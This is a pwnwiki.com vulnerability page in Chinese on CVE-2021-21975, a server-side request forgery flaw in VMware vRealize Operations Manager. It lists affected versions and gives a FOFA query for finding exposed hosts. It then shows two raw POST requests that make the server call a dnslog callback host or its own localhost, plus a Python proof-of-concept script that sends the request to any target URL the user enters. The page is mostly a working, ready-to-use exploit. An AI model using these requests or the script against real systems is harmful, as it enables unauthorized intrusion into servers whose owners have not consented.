Loading
0

CVE-2021-21975 VMware vRealize Operations Manager SSRF漏洞/zh-cn

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

漏洞影响

vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0

cloud_foundation: 4.x 3.x

vRealize_suite_lifecycle_manager: 8.x

FOFA

title="vRealize Operations Manager"

漏洞利用

发送如下请求包:

POST /casa/nodes/thumbprints HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24


"eheeyd.dnslog.cn"

POST /casa/nodes/thumbprints HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Length: 24


"127.0.0.1:443/ui"

POC

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mVersion: VMware vRealize Operations Manager                         \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+  \03336mDnslog      >>> xxx.dnslog.com                                     \0330m')
    print('+------------------------------------------')

def POC_1(target_url, v):
    vuln_url = target_url + "/casa/nodes/thumbprints"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/json;charset=UTF-8"
    }
    data = '"{}"'.format(Dnslog)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=10)
        if response.status_code == 200 :
            print("\03332mo 目标 {} 可能存在SSRF漏洞,请检查 Dnslog 响应 \0330m".format(target_url, vuln_url))
        else:
            print("\03331mx 目标 {} 不存在漏洞 \0330m".format(target_url))
    except Exception as e:
        print("\03331mx 目标 {} 请求失败 \0330m".format(target_url))

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl    >>> \0330m"))
    Dnslog = str(input("\03335mDnslog >>> \0330m"))
    POC_1(target_url, Dnslog)

pwnwiki.com